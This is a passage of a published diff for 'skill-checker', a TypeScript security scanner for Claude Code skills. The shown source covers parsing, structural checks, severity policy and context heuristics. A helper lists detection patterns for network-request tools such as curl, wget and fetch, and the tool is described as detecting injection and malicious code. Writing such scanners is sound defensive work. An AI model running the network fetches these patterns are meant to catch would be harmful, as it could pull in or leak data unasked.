skill-checker 0.1.13 → 0.1.15
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +4 -4
- package/dist/cli.js +189 -9
- package/dist/cli.js.map +1 -1
- package/dist/index.js +189 -9
- package/dist/index.js.map +1 -1
- package/package.json +1 -1
package/dist/cli.js.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"sources":["../src/cli.ts","../src/parser.ts","../src/checks/structural.ts","../src/types.ts","../src/utils/context.ts","../src/checks/content.ts","../src/utils/unicode.ts","../src/utils/entropy.ts","../src/checks/injection.ts","../src/checks/code-safety.ts","../src/ioc/index.ts","../src/ioc/indicators.ts","../src/checks/supply-chain.ts","../src/checks/resource.ts","../src/ioc/matcher.ts","../src/utils/levenshtein.ts","../src/checks/ioc.ts","../src/checks/index.ts","../src/scanner.ts","../src/reporter/terminal.ts","../src/reporter/json.ts","../src/config.ts"],"sourcesContent":["// Skill Checker - Security checker for Claude Code skills\n// Copyright (C) 2026 Alexander Jin\n//\n// This program is free software: you can redistribute it and/or modify\n// it under the terms of the GNU Affero General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// This program is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n// GNU Affero General Public License for more details.\n//\n// You should have received a copy of the GNU Affero General Public License\n// along with this program. If not, see <https://www.gnu.org/licenses/>.\n\nimport { createRequire } from 'node:module';\nimport { existsSync } from 'node:fs';\nimport { join } from 'node:path';\nimport { Command } from 'commander';\nimport { scanSkillDirectory } from './scanner.js';\nimport { formatTerminalReport } from './reporter/terminal.js';\nimport { formatJsonReport, generateHookResponse } from './reporter/json.js';\nimport { loadConfig } from './config.js';\nimport type { PolicyLevel } from './types.js';\n\nconst require = createRequire(import.meta.url);\nconst pkg = require('../package.json') as { version: string };\n\nconst program = new Command();\n\nprogram\n .name('skill-checker')\n .description(\n 'Security checker for Claude Code skills - detect injection, malicious code, and supply chain risks'\n )\n .version(pkg.version);\n\nconst VALID_POLICIES = ['strict', 'balanced', 'permissive'] as const;\n\nprogram\n .command('scan')\n .description('Scan a skill directory for security issues')\n .argument('<path>', 'Path to the skill directory')\n .option('-f, --format <format>', 'Output format: terminal, json, hook', 'terminal')\n .option('-p, --policy <policy>', 'Policy: strict, balanced, permissive')\n .option('-c, --config <path>', 'Path to config file')\n .action(\n (\n path: string,\n opts: { format: string; policy?: string; config?: string }\n ) => {\n // Validate policy before anything else\n if (opts.policy && !VALID_POLICIES.includes(opts.policy as PolicyLevel)) {\n console.error(`Error: invalid policy \"${opts.policy}\". Valid values: ${VALID_POLICIES.join(', ')}`);\n process.exit(1);\n }\n // Load config\n const config = loadConfig(path, opts.config);\n\n // Warn if target directory has no SKILL.md\n if (!existsSync(join(path, 'SKILL.md'))) {\n console.error(\n 'Warning: No SKILL.md found in the specified directory. ' +\n 'This tool is designed to scan skill directories. ' +\n 'Results may contain noise. See: skill-checker scan --help'\n );\n }\n\n // Override policy from CLI\n if (opts.policy) {\n config.policy = opts.policy as PolicyLevel;\n }\n\n // Run scan\n const report = scanSkillDirectory(path, config);\n\n // Output\n switch (opts.format) {\n case 'json':\n console.log(formatJsonReport(report));\n break;\n case 'hook': {\n const hookResp = generateHookResponse(report, config);\n console.log(JSON.stringify(hookResp));\n break;\n }\n case 'terminal':\n default:\n console.log(formatTerminalReport(report));\n break;\n }\n\n // Exit code: non-zero if critical issues found\n if (report.summary.critical > 0) {\n process.exit(1);\n }\n }\n );\n\nprogram.parse();\n","// Skill Checker - Security checker for Claude Code skills\n// Copyright (C) 2026 Alexander Jin\n//\n// This program is free software: you can redistribute it and/or modify\n// it under the terms of the GNU Affero General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// This program is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n// GNU Affero General Public License for more details.\n//\n// You should have received a copy of the GNU Affero General Public License\n// along with this program. If not, see <https://www.gnu.org/licenses/>.\n\nimport { readFileSync, readdirSync, lstatSync, existsSync, openSync, readSync, closeSync } from 'node:fs';\nimport { join, extname, basename, resolve } from 'node:path';\nimport { parse as parseYaml } from 'yaml';\nimport type { ParsedSkill, SkillFrontmatter, SkillFile } from './types.js';\n\n/** Binary file extensions that we skip reading */\nconst BINARY_EXTENSIONS = new Set([\n '.png', '.jpg', '.jpeg', '.gif', '.bmp', '.ico', '.webp', '.svg',\n '.woff', '.woff2', '.ttf', '.eot', '.otf',\n '.zip', '.gz', '.tar', '.bz2', '.7z', '.rar',\n '.exe', '.dll', '.so', '.dylib', '.bin',\n '.pdf', '.doc', '.docx', '.xls', '.xlsx',\n '.mp3', '.mp4', '.wav', '.avi', '.mov',\n '.wasm', '.pyc', '.class',\n]);\n\n/**\n * Parse a skill directory, reading SKILL.md and enumerating files.\n */\nexport function parseSkill(dirPath: string): ParsedSkill {\n const absDir = resolve(dirPath);\n\n // Find SKILL.md\n const skillMdPath = join(absDir, 'SKILL.md');\n const hasSkillMd = existsSync(skillMdPath);\n\n const raw = hasSkillMd ? readFileSync(skillMdPath, 'utf-8') : '';\n\n // Parse frontmatter\n const { frontmatter, frontmatterValid, body, bodyStartLine } =\n parseFrontmatter(raw);\n\n // Enumerate directory files\n const warnings: string[] = [];\n const files = enumerateFiles(absDir, warnings);\n\n return {\n dirPath: absDir,\n raw,\n frontmatter,\n frontmatterValid,\n body,\n bodyLines: body.split('\\n'),\n bodyStartLine,\n files,\n warnings,\n };\n}\n\n/**\n * Parse a single SKILL.md content string (without directory enumeration).\n * Useful for testing or when you only have the file content.\n */\nexport function parseSkillContent(\n content: string,\n dirPath = '.'\n): ParsedSkill {\n const { frontmatter, frontmatterValid, body, bodyStartLine } =\n parseFrontmatter(content);\n\n return {\n dirPath,\n raw: content,\n frontmatter,\n frontmatterValid,\n body,\n bodyLines: body.split('\\n'),\n bodyStartLine,\n files: [],\n warnings: [],\n };\n}\n\ninterface FrontmatterResult {\n frontmatter: SkillFrontmatter;\n frontmatterValid: boolean;\n body: string;\n bodyStartLine: number;\n}\n\nfunction parseFrontmatter(raw: string): FrontmatterResult {\n const fmRegex = /^---\\r?\\n([\\s\\S]*?)\\r?\\n---\\r?\\n?/;\n const match = raw.match(fmRegex);\n\n if (!match) {\n return {\n frontmatter: {},\n frontmatterValid: false,\n body: raw,\n bodyStartLine: 1,\n };\n }\n\n const yamlStr = match[1];\n const fmLineCount = match[0].split('\\n').length;\n\n try {\n const parsed = parseYaml(yamlStr);\n return {\n frontmatter: (typeof parsed === 'object' && parsed !== null\n ? parsed\n : {}) as SkillFrontmatter,\n frontmatterValid: true,\n body: raw.slice(match[0].length),\n bodyStartLine: fmLineCount,\n };\n } catch {\n return {\n frontmatter: {},\n frontmatterValid: false,\n body: raw.slice(match[0].length),\n bodyStartLine: fmLineCount,\n };\n }\n}\n\n/** Directories always skipped entirely (not security-relevant VCS internals) */\nconst SKIP_DIRS = new Set(['.git']);\n\n/** Directories skipped with a warning (potentially hiding payloads) */\nconst WARN_SKIP_DIRS = new Set(['node_modules']);\n\n/** Max scan depth — deep enough for real skills, bounded for safety */\nconst MAX_DEPTH = 15;\n\n/** Max file size for full text read (5 MB) */\nconst FULL_READ_LIMIT = 5_000_000;\n\n/** Partial read size for large text files — scan first 512 KB for key patterns */\nconst PARTIAL_READ_LIMIT = 512 * 1024;\n\nfunction enumerateFiles(dirPath: string, warnings: string[]): SkillFile[] {\n const files: SkillFile[] = [];\n\n if (!existsSync(dirPath)) return files;\n\n function walk(currentDir: string, depth: number): void {\n if (depth > MAX_DEPTH) {\n const rel = currentDir.slice(dirPath.length + 1) || currentDir;\n warnings.push(`Depth limit (${MAX_DEPTH}) exceeded at: ${rel}. Contents not scanned.`);\n return;\n }\n\n let entries;\n try {\n entries = readdirSync(currentDir, { withFileTypes: true });\n } catch {\n return;\n }\n\n for (const entry of entries) {\n const fullPath = join(currentDir, entry.name);\n const relativePath = fullPath.slice(dirPath.length + 1);\n\n // Use lstat to detect symlinks without following them\n let lstats;\n try {\n lstats = lstatSync(fullPath);\n } catch {\n continue;\n }\n\n // Skip symlinks entirely — prevent traversal outside skill directory\n if (lstats.isSymbolicLink()) {\n warnings.push(`Skipped symlink: ${relativePath}`);\n continue;\n }\n\n if (lstats.isDirectory()) {\n if (SKIP_DIRS.has(entry.name)) continue;\n if (WARN_SKIP_DIRS.has(entry.name)) {\n warnings.push(`Skipped directory: ${relativePath}. May contain unscanned files.`);\n continue;\n }\n // Hidden directories (except .git) ARE scanned — payloads can hide there\n walk(fullPath, depth + 1);\n continue;\n }\n\n // Skip special files (FIFO, socket, device, etc.) — only process regular files\n if (!lstats.isFile()) {\n warnings.push(`Skipped special file: ${relativePath}`);\n continue;\n }\n\n const ext = extname(entry.name).toLowerCase();\n const isBinary = BINARY_EXTENSIONS.has(ext);\n\n let content: string | undefined;\n if (!isBinary) {\n if (lstats.size <= FULL_READ_LIMIT) {\n try {\n content = readFileSync(fullPath, 'utf-8');\n } catch {\n // skip unreadable files\n }\n } else {\n // Large text file: window scan (head + tail) for pattern detection\n let fd: number | undefined;\n try {\n fd = openSync(fullPath, 'r');\n\n const headBuf = Buffer.alloc(PARTIAL_READ_LIMIT);\n const headBytesRead = readSync(fd, headBuf, 0, PARTIAL_READ_LIMIT, 0);\n const headContent = headBuf.slice(0, headBytesRead).toString('utf-8');\n\n const tailOffset = Math.max(0, lstats.size - PARTIAL_READ_LIMIT);\n const tailBuf = Buffer.alloc(PARTIAL_READ_LIMIT);\n const tailBytesRead = readSync(fd, tailBuf, 0, PARTIAL_READ_LIMIT, tailOffset);\n const tailContent = tailBuf.slice(0, tailBytesRead).toString('utf-8');\n\n content = tailOffset > 0\n ? `${headContent}\\n/* ... window gap ... */\\n${tailContent}`\n : headContent;\n\n warnings.push(\n `Large file window-scanned (head+tail ${PARTIAL_READ_LIMIT} bytes each): ${relativePath} (${lstats.size} bytes total)`\n );\n } catch {\n warnings.push(`Large file could not be read: ${relativePath} (${lstats.size} bytes)`);\n } finally {\n if (fd !== undefined) {\n try { closeSync(fd); } catch { /* fd already closed or invalid */ }\n }\n }\n }\n }\n\n files.push({\n path: relativePath,\n name: basename(entry.name, ext),\n extension: ext,\n sizeBytes: lstats.size,\n isBinary,\n content,\n });\n }\n }\n\n walk(dirPath, 0);\n return files;\n}\n","// Skill Checker - Security checker for Claude Code skills\n// Copyright (C) 2026 Alexander Jin\n//\n// This program is free software: you can redistribute it and/or modify\n// it under the terms of the GNU Affero General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// This program is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n// GNU Affero General Public License for more details.\n//\n// You should have received a copy of the GNU Affero General Public License\n// along with this program. If not, see <https://www.gnu.org/licenses/>.\n\nimport type { CheckModule, CheckResult, ParsedSkill } from '../types.js';\n\nconst HYPHEN_CASE_RE = /^[a-z][a-z0-9]*(-[a-z0-9]+)*$/;\nconst MAX_NAME_LENGTH = 64;\n/** Script files: common in legitimate skills, content scanned by CODE/SUPPLY rules */\nconst SCRIPT_EXTENSIONS = new Set([\n '.sh', '.bash', '.ps1', '.bat', '.cmd',\n]);\n/** Binary executables: rarely legitimate in skills */\nconst BINARY_EXTENSIONS = new Set([\n '.exe', '.dll', '.so', '.dylib', '.bin', '.wasm', '.class', '.pyc',\n]);\n/** Installer packages */\nconst INSTALLER_EXTENSIONS = new Set([\n '.com', '.msi',\n]);\n\nexport const structuralChecks: CheckModule = {\n name: 'Structural Validity',\n category: 'STRUCT',\n\n run(skill: ParsedSkill): CheckResult[] {\n const results: CheckResult[] = [];\n\n // STRUCT-001: Missing SKILL.md\n if (!skill.raw) {\n results.push({\n id: 'STRUCT-001',\n category: 'STRUCT',\n severity: 'CRITICAL',\n title: 'Missing SKILL.md',\n message: 'No SKILL.md file found in the skill directory.',\n });\n return results; // no point checking further\n }\n\n // STRUCT-002: Invalid/missing frontmatter\n if (!skill.frontmatterValid) {\n results.push({\n id: 'STRUCT-002',\n category: 'STRUCT',\n severity: 'HIGH',\n title: 'Invalid YAML frontmatter',\n message:\n 'SKILL.md is missing valid YAML frontmatter (---...--- block).',\n });\n }\n\n // STRUCT-003: Missing name field\n if (!skill.frontmatter.name) {\n results.push({\n id: 'STRUCT-003',\n category: 'STRUCT',\n severity: 'HIGH',\n title: 'Missing name field',\n message: 'Frontmatter is missing the required \"name\" field.',\n });\n }\n\n // STRUCT-004: Missing description field\n if (!skill.frontmatter.description) {\n results.push({\n id: 'STRUCT-004',\n category: 'STRUCT',\n severity: 'MEDIUM',\n title: 'Missing description field',\n message: 'Frontmatter is missing the \"description\" field.',\n });\n }\n\n // STRUCT-005: Body too short\n if (skill.body.trim().length < 50) {\n results.push({\n id: 'STRUCT-005',\n category: 'STRUCT',\n severity: 'CRITICAL',\n title: 'SKILL.md body is too short',\n message: `Body is only ${skill.body.trim().length} characters. A valid skill should have meaningful instructions (>=50 chars).`,\n });\n }\n\n // STRUCT-006: Unexpected files (binary/executable/script)\n for (const file of skill.files) {\n const ext = file.extension.toLowerCase();\n if (BINARY_EXTENSIONS.has(ext) || INSTALLER_EXTENSIONS.has(ext)) {\n results.push({\n id: 'STRUCT-006',\n category: 'STRUCT',\n severity: 'HIGH',\n title: 'Unexpected binary/executable file',\n message: `Found unexpected file: ${file.path} (${ext})`,\n source: file.path,\n });\n } else if (SCRIPT_EXTENSIONS.has(ext)) {\n results.push({\n id: 'STRUCT-006',\n category: 'STRUCT',\n severity: 'LOW',\n title: 'Script file present',\n message: `Found script file: ${file.path} (${ext}). Content is scanned separately.`,\n source: file.path,\n });\n }\n }\n\n // STRUCT-007: Name format\n const name = skill.frontmatter.name;\n if (name) {\n if (!HYPHEN_CASE_RE.test(name)) {\n results.push({\n id: 'STRUCT-007',\n category: 'STRUCT',\n severity: 'MEDIUM',\n title: 'Name not in hyphen-case format',\n message: `Skill name \"${name}\" should be in hyphen-case (e.g. \"my-skill\").`,\n });\n }\n if (name.length > MAX_NAME_LENGTH) {\n results.push({\n id: 'STRUCT-007',\n category: 'STRUCT',\n severity: 'MEDIUM',\n title: 'Name too long',\n message: `Skill name is ${name.length} chars, max ${MAX_NAME_LENGTH}.`,\n });\n }\n }\n\n // STRUCT-008: Skipped or partially scanned paths\n for (const warning of skill.warnings) {\n // Extract file/dir path from warning for structured dedup key\n const pathMatch = warning.match(/:\\s*(.+?)(?:\\s*\\(|$)/);\n results.push({\n id: 'STRUCT-008',\n category: 'STRUCT',\n severity: 'MEDIUM',\n title: 'Scan coverage warning',\n message: warning,\n source: pathMatch?.[1]?.trim(),\n });\n }\n\n return results;\n },\n};\n","// Skill Checker - Security checker for Claude Code skills\n// Copyright (C) 2026 Alexander Jin\n//\n// This program is free software: you can redistribute it and/or modify\n// it under the terms of the GNU Affero General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// This program is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n// GNU Affero General Public License for more details.\n//\n// You should have received a copy of the GNU Affero General Public License\n// along with this program. If not, see <https://www.gnu.org/licenses/>.\n\n// ===== Severity & Scoring =====\n\nexport type Severity = 'CRITICAL' | 'HIGH' | 'MEDIUM' | 'LOW';\n\nexport const SEVERITY_SCORES: Record<Severity, number> = {\n CRITICAL: 25,\n HIGH: 10,\n MEDIUM: 3,\n LOW: 1,\n};\n\nexport type Grade = 'A' | 'B' | 'C' | 'D' | 'F';\n\nexport function computeGrade(score: number): Grade {\n if (score >= 90) return 'A';\n if (score >= 75) return 'B';\n if (score >= 60) return 'C';\n if (score >= 40) return 'D';\n return 'F';\n}\n\n// ===== Check Result =====\n\nexport type CheckCategory =\n | 'STRUCT'\n | 'CONT'\n | 'INJ'\n | 'CODE'\n | 'SUPPLY'\n | 'RES';\n\nexport interface CheckResult {\n id: string; // e.g. \"INJ-001\"\n category: CheckCategory;\n severity: Severity;\n title: string;\n message: string;\n line?: number; // line number in SKILL.md\n snippet?: string; // relevant code snippet\n source?: string; // structured source file path (e.g. \"SKILL.md\", \"lib/helper.js\")\n reducedFrom?: Severity; // original severity before context-aware reduction\n occurrences?: number; // count after per-file deduplication\n}\n\n// ===== Severity Reduction =====\n\nconst REDUCE_MAP: Record<Severity, Severity> = {\n CRITICAL: 'HIGH',\n HIGH: 'MEDIUM',\n MEDIUM: 'LOW',\n LOW: 'LOW',\n};\n\n/**\n * Reduce severity by one level with audit trail.\n * Safety floor: a CRITICAL-origin finding never drops below MEDIUM.\n */\nexport function reduceSeverity(\n original: Severity,\n reason: string\n): { severity: Severity; reducedFrom: Severity; annotation: string } {\n let reduced = REDUCE_MAP[original];\n // Safety floor: CRITICAL source never goes below MEDIUM\n if (original === 'CRITICAL' && reduced === 'LOW') {\n reduced = 'MEDIUM';\n }\n return {\n severity: reduced,\n reducedFrom: original,\n annotation: `[reduced: ${reason}]`,\n };\n}\n\n// ===== Parsed Skill =====\n\nexport interface SkillFrontmatter {\n name?: string;\n description?: string;\n version?: string;\n 'allowed-tools'?: string[];\n [key: string]: unknown;\n}\n\nexport interface ParsedSkill {\n /** Path to the skill directory */\n dirPath: string;\n /** Raw SKILL.md content */\n raw: string;\n /** Parsed frontmatter (YAML) */\n frontmatter: SkillFrontmatter;\n /** Whether frontmatter was valid YAML */\n frontmatterValid: boolean;\n /** Body text after frontmatter */\n body: string;\n /** Lines of the body for line-number tracking */\n bodyLines: string[];\n /** Offset: line number where body starts in the raw file */\n bodyStartLine: number;\n /** Other files in the skill directory */\n files: SkillFile[];\n /** Warnings about skipped directories/files during parsing */\n warnings: string[];\n}\n\nexport interface SkillFile {\n path: string; // relative to skill dir\n name: string;\n extension: string;\n sizeBytes: number;\n isBinary: boolean;\n content?: string; // text content if not binary\n}\n\n// ===== Scan Report =====\n\nexport interface ScanReport {\n skillPath: string;\n skillName: string;\n timestamp: string;\n results: CheckResult[];\n score: number;\n grade: Grade;\n summary: {\n total: number;\n critical: number;\n high: number;\n medium: number;\n low: number;\n };\n}\n\n// ===== Check Module Interface =====\n\nexport interface CheckModule {\n name: string;\n category: CheckCategory;\n run(skill: ParsedSkill): CheckResult[];\n}\n\n// ===== Configuration =====\n\nexport type PolicyLevel = 'strict' | 'balanced' | 'permissive';\nexport type HookAction = 'deny' | 'ask' | 'report';\n\nexport interface SkillCheckerConfig {\n policy: PolicyLevel;\n overrides: Record<string, Severity>;\n ignore: string[];\n}\n\nexport const DEFAULT_CONFIG: SkillCheckerConfig = {\n policy: 'balanced',\n overrides: {},\n ignore: [],\n};\n\n/** Maps policy + severity to hook action */\nexport function getHookAction(\n policy: PolicyLevel,\n severity: Severity\n): HookAction {\n const matrix: Record<PolicyLevel, Record<Severity, HookAction>> = {\n strict: {\n CRITICAL: 'deny',\n HIGH: 'deny',\n MEDIUM: 'ask',\n LOW: 'report',\n },\n balanced: {\n CRITICAL: 'deny',\n HIGH: 'ask',\n MEDIUM: 'report',\n LOW: 'report',\n },\n permissive: {\n CRITICAL: 'ask',\n HIGH: 'report',\n MEDIUM: 'report',\n LOW: 'report',\n },\n };\n const row = matrix[policy];\n if (!row) {\n // Defensive: unknown policy falls back to balanced (fail-closed)\n return matrix.balanced[severity];\n }\n return row[severity];\n}\n","// Skill Checker - Security checker for Claude Code skills\n// Copyright (C) 2026 Alexander Jin\n//\n// This program is free software: you can redistribute it and/or modify\n// it under the terms of the GNU Affero General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// This program is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n// GNU Affero General Public License for more details.\n//\n// You should have received a copy of the GNU Affero General Public License\n// along with this program. If not, see <https://www.gnu.org/licenses/>.\n\n/**\n * Context-aware helpers to reduce false positives.\n * Distinguishes between patterns in executable/instructional context\n * vs documentation/reference context.\n */\n\n/**\n * Check if a line is inside a markdown code block by tracking\n * the fence state across all lines up to the target index.\n */\nexport function isInCodeBlock(lines: string[], lineIndex: number): boolean {\n let inBlock = false;\n for (let i = 0; i < lineIndex && i < lines.length; i++) {\n if (lines[i].trim().startsWith('```')) {\n inBlock = !inBlock;\n }\n }\n return inBlock;\n}\n\n/**\n * Check if a line is inside an inline code span (backticks).\n * e.g. `placeholder` or `sudo apt-get install foo`\n */\nexport function isInInlineCode(line: string, matchStart: number): boolean {\n // Count backticks before the match position\n let inCode = false;\n for (let i = 0; i < matchStart && i < line.length; i++) {\n if (line[i] === '`') inCode = !inCode;\n }\n return inCode;\n}\n\n/**\n * Check if a URL is a namespace/schema identifier rather than a network endpoint.\n *\n * Namespace URIs are used as unique identifiers in XML/OOXML/SVG/RDF etc.\n * They follow `http://` but are never actually fetched over the network.\n *\n * Detection heuristics (general, not whitelist-based):\n * - URL path contains year-like segments (e.g. /2006/, /2000/)\n * - Line contains xmlns, namespace, schema keywords\n * - URL path is a specification-style path (no file extension, hierarchical)\n * - URL appears as a string constant assignment, not in a fetch/curl context\n */\nexport function isNamespaceOrSchemaURI(url: string, line: string): boolean {\n // Context: line contains XML namespace indicators\n if (/\\bxmlns\\b/i.test(line)) return true;\n if (/\\bnamespace\\b/i.test(line)) return true;\n if (/\\bschema[s]?\\b/i.test(line) && !/(schema\\.org)/i.test(url)) return true;\n\n // URL structure: path looks like a namespace identifier\n // e.g. http://schemas.openxmlformats.org/drawingml/2006/main\n // e.g. http://www.w3.org/2000/svg\n // Pattern: domain + hierarchical path with year segment, no query/file extension\n const parsed = parseURLPath(url);\n if (!parsed) return false;\n\n // Has a 4-digit year segment in path (very common in namespace URIs)\n if (/\\/\\d{4}\\//.test(parsed.path)) {\n // And no query string or typical file extension → likely namespace\n if (!parsed.hasQuery && !parsed.hasFileExtension) return true;\n }\n\n return false;\n}\n\n/**\n * Check if a URL appears in an actual network request context on the same line.\n * i.e. the URL is an argument to fetch/curl/wget/axios etc.\n */\nexport function isInNetworkRequestContext(line: string): boolean {\n const networkPatterns = [\n /\\bfetch\\s*\\(/i,\n /\\bcurl\\s+/i,\n /\\bwget\\s+/i,\n /\\baxios\\b/i,\n /\\brequests?\\.(get|post|put|delete|head)\\s*\\(/i,\n /\\bhttp\\.(get|request)\\s*\\(/i,\n /\\bopen\\s*\\(\\s*[\"'](?:GET|POST|PUT|DELETE)/i,\n /\\bURLSession\\b/,\n /\\bInvoke-WebRequest\\b/i,\n ];\n return networkPatterns.some((p) => p.test(line));\n}\n\n/**\n * Check if a line is in a documentation/guide section.\n * Looks for markdown list items describing setup/installation steps.\n */\nexport function isInDocumentationContext(\n lines: string[],\n lineIndex: number\n): boolean {\n const line = lines[lineIndex];\n\n // Markdown list item describing a tool/prerequisite\n if (/^\\s*[-*]\\s+\\*\\*\\w+\\*\\*\\s*[::]/.test(line)) return true;\n\n // Look at nearby headers for documentation keywords\n for (let i = lineIndex; i >= Math.max(0, lineIndex - 15); i--) {\n const l = lines[i];\n if (/^#{1,4}\\s+.*(install|setup|prerequisite|requirement|depend|getting\\s+started)/i.test(l)) {\n return true;\n }\n }\n\n return false;\n}\n\n/**\n * Check if a line is near a documentation/guide section header.\n * Similar to isInDocumentationContext but only checks headers, not list patterns.\n * Used for double-context reduction (code block + doc header).\n */\nexport function isNearDocumentationHeader(\n lines: string[],\n lineIndex: number\n): boolean {\n for (let i = lineIndex; i >= Math.max(0, lineIndex - 15); i--) {\n const l = lines[i];\n if (/^#{1,4}\\s+.*(install|setup|prerequisite|requirement|depend|getting\\s+started|quickstart)/i.test(l)) {\n return true;\n }\n }\n return false;\n}\n\n/**\n * Check if a file path is a license/legal file (content is not executable instruction).\n */\nexport function isLicenseFile(filePath: string): boolean {\n const name = filePath.split('/').pop()?.toUpperCase() ?? '';\n const base = name.replace(/\\.[^.]+$/, ''); // strip extension\n return /^(LICENSE|LICENCE|COPYING|NOTICE|AUTHORS|PATENTS)$/.test(base);\n}\n\n/**\n * Check if a URL points to localhost / loopback (no external attack surface).\n */\nexport function isLocalhostURL(url: string): boolean {\n return /^https?:\\/\\/(localhost|127\\.0\\.0\\.1|0\\.0\\.0\\.0|\\[::1\\])/i.test(url);\n}\n\n/**\n * Check if a line is in an educational/descriptive context.\n * Used to reduce severity for content patterns that appear in\n * teaching/reference material rather than actual promotional content.\n */\nexport function isInEducationalContext(\n lines: string[],\n lineIndex: number\n): boolean {\n const line = lines[lineIndex];\n\n // Line itself is a markdown heading (organizational/educational)\n if (/^#{1,6}\\s+/.test(line)) return true;\n\n // Line has label: value structure (descriptive/definitional)\n // e.g., \"- Discount type: One-time, recurring\"\n // e.g., \"**Annual discount**: 15-25% for annual prepay\"\n if (/^\\s*[-*]?\\s*(\\*\\*[^*]+\\*\\*\\s*:|[A-Z][^:]{0,40}:)\\s/.test(line))\n return true;\n\n // Nearby header contains educational/guide keywords\n for (let i = lineIndex; i >= Math.max(0, lineIndex - 15); i--) {\n if (\n /^#{1,4}\\s+.*(strateg|guide|framework|structure|model|overview|comparison|concept|principle|example|tutorial|reference|approach|method)/i.test(\n lines[i]\n )\n ) {\n return true;\n }\n }\n\n return false;\n}\n\nconst PROMOTIONAL_INTENT_PATTERNS = [\n /\\d+%\\s*off\\b/i,\n /\\blimited\\s+time\\b/i,\n /\\bact\\s+now\\b/i,\n /\\bhurry\\b/i,\n /\\btoday\\s+only\\b/i,\n /\\bdon'?t\\s+miss\\b/i,\n /\\bsave\\s+\\d+%/i,\n /\\bexclusive\\s+(offer|deal)\\b/i,\n /\\bsign\\s+up\\s+(now|today)\\b/i,\n /\\bget\\s+started\\b/i,\n /\\bclaim\\s+(now|yours?)\\b/i,\n /\\boffer\\s+ends?\\b/i,\n /\\blast\\s+chance\\b/i,\n /\\bonly\\s+\\d+\\s+left\\b/i,\n /\\bends?\\s+in\\s+\\d+/i,\n /\\bstart\\s+(your\\s+)?free\\s+trial\\b/i,\n];\n\n/**\n * Check if a line contains promotional urgency/CTA signals.\n * Used to override educational context reduction when content\n * is promotional disguised as educational formatting.\n */\nexport function hasPromotionalIntent(line: string): boolean {\n return PROMOTIONAL_INTENT_PATTERNS.some((p) => p.test(line));\n}\n\n/**\n * Check if any line within a ±window range contains promotional intent.\n * Does NOT exclude code block lines — fail-closed: urgency near a\n * soft pattern should block reduction regardless of fence boundaries.\n */\nexport function hasPromotionalIntentNearby(\n lines: string[],\n lineIndex: number,\n window = 3\n): boolean {\n const start = Math.max(0, lineIndex - window);\n const end = Math.min(lines.length - 1, lineIndex + window);\n for (let i = start; i <= end; i++) {\n if (hasPromotionalIntent(lines[i])) return true;\n }\n return false;\n}\n\nfunction parseURLPath(\n url: string\n): { path: string; hasQuery: boolean; hasFileExtension: boolean } | null {\n try {\n const u = new URL(url);\n const hasQuery = u.search.length > 0;\n const lastSegment = u.pathname.split('/').pop() ?? '';\n const hasFileExtension = /\\.\\w{1,5}$/.test(lastSegment);\n return { path: u.pathname, hasQuery, hasFileExtension };\n } catch {\n return null;\n }\n}\n","// Skill Checker - Security checker for Claude Code skills\n// Copyright (C) 2026 Alexander Jin\n//\n// This program is free software: you can redistribute it and/or modify\n// it under the terms of the GNU Affero General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// This program is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n// GNU Affero General Public License for more details.\n//\n// You should have received a copy of the GNU Affero General Public License\n// along with this program. If not, see <https://www.gnu.org/licenses/>.\n\nimport type { CheckModule, CheckResult, ParsedSkill } from '../types.js';\nimport { reduceSeverity } from '../types.js';\nimport { isInCodeBlock, isInEducationalContext, hasPromotionalIntentNearby } from '../utils/context.js';\n\n/** Patterns that are always placeholder indicators regardless of context */\nconst STRICT_PLACEHOLDER_PATTERNS = [\n /\\bTODO\\b/,\n /\\bFIXME\\b/,\n /\\bHACK\\b/,\n /\\bXXX\\b/,\n /\\binsert\\s+here\\b/i,\n /\\bfill\\s+in\\b/i,\n /\\bTBD\\b/,\n /\\bcoming\\s+soon\\b/i,\n];\n\n/**\n * Patterns that are placeholder ONLY in prose context.\n * In code/technical context (CSS classes, API names, PPT concepts),\n * these are legitimate terms, not indicators of incomplete content.\n */\nconst CONTEXT_SENSITIVE_PLACEHOLDER_PATTERNS = [\n /\\bplaceholder\\b/i,\n];\n\nconst LOREM_PATTERNS = [\n /lorem\\s+ipsum/i,\n /dolor\\s+sit\\s+amet/i,\n /consectetur\\s+adipiscing/i,\n];\n\n/** Strong ad patterns: direct call-to-action, always HIGH */\nconst STRONG_AD_PATTERNS = [\n /\\bbuy\\s+now\\b/i,\n /\\bclick\\s+here\\s+to\\s+(buy|subscribe|download)/i,\n /\\buse\\s+code\\b.*\\b\\d+%?\\s*off\\b/i,\n];\n\n/** Soft ad patterns: context-sensitive, may reduce to MEDIUM in educational content */\nconst SOFT_AD_PATTERNS = [\n /\\bdiscount\\b/i,\n /\\bfree\\s+trial\\b/i,\n /\\bpromo\\s*code\\b/i,\n /\\bsubscribe\\s+(to|now)\\b/i,\n /\\bsponsored\\s+by\\b/i,\n 